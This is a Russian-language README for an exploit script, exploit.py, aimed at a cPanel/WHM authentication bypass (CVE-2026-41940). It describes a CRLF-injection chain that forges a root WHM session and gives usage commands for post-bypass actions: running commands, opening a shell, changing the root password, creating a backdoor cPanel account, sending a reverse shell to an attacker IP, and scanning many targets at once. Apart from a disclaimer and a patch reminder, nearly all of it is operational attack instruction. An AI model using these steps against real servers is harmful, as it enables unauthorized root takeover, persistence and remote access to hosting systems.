CVE-2026-41940: Обход аутентификации cPanel/WHM (одиночная и множественная цель)
Дисклеймер: Этот документ и связанный с ним скрипт (exploit.py) предоставлены строго в образовательных целях, для исследований в области безопасности и авторизованного тестирования на проникновение. Не используйте это программное обеспечение против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
Обзор
exploit.py — это скрипт, демонстрирующий уязвимость обхода аутентификации (CVE-2026-41940) в cPanel и WHM. Уязвимость позволяет неаутентифицированному атакующему внедрить root-сессию в кэш демона через дефект CRLF-инъекции, в конечном итоге предоставляя доступ к WHM на уровне root без необходимости действительных учетных данных.
Анализ уязвимости и порядок эксплуатации
Эксплойт использует уязвимость CRLF-инъекции (возврат каретки и перевод строки) в механизме обработки базовой аутентификации (Basic Authentication) в сочетании с дефектом распространения сессии. Скрипт автоматизирует атаку в четыре этапа:
- Пре-авторизационная генерация сессии: подключается к публичным точкам входа (например,
/login/ или /cgi/login.cgi) для получения базовой неаутентифицированной сессионной cookie (whostmgrsession).
- CRLF-инъекция: отправляет специально сформированный заголовок Basic Authentication, содержащий полезную нагрузку в Base64, которая внедряет поля root-сессии напрямую в кэш сессий
cpsrvd. Ответ сервера с перенаправлением раскрывает сгенерированный токен безопасности (cpsess).
- Распространение сессии: необработанная сессионная cookie отправляется на аутентифицированную конечную точку WHM, что вызывает
do_token_denied для распространения поддельной сессии в кэш демона — превращая её в действительную аутентифицированную сессию.
- Проверка: обращается к ограниченным конечным точкам WHM API (например,
/json-api/version) с использованием поддельной сессии для подтверждения доступа уровня root.
Предварительные требования
- Python 3.x
- библиотека
requests
Использование
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
Аргументы
Выбор цели
| Аргумент | Описание |
|---|
--target URL | Один URL-адрес WHM (например, https://target:2087) |
--target-file FILE | Файл с целями (по одному ip:port в строке) — автоматически включает режим проверки |
Сетевые и основные параметры
Параметры эксплуатации (после обхода)
Параметры вывода
| Аргумент | Описание |
|---|
--output FILE | Сохранить токен сессии и детали в JSON-файл |
Примеры
# Проверить, уязвима ли цель
python exploit.py --target https://target:2087 --check
# Вывести информацию о сервере (версия, учётные записи, привилегии)
python exploit.py --target https://target:2087 --dump
# Сгенерировать root-URL для входа в один клик (вставить в браузер сразу)
python exploit.py --target https://target:2087 --session
# Выполнить команду
python exploit.py --target https://target:2087 --exec "id"
# Запустить интерактивную оболочку WHM
python exploit.py --target https://target:2087 --shell
# Изменить root-пароль
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Вызвать WHM API напрямую
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Создать бэкдор-учётную запись cPanel
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Отправить reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Переопределить имя хоста (используйте, если автоматическое обнаружение не срабатывает)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Сканировать несколько целей (режим только проверки)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Сохранить сессию в файл
python exploit.py --target https://target:2087 --dump --output results.json
Команды интерактивной оболочки
При использовании --shell доступны следующие команды:
Напоминание
Немедленно установите последние обновления безопасности cPanel/WHM.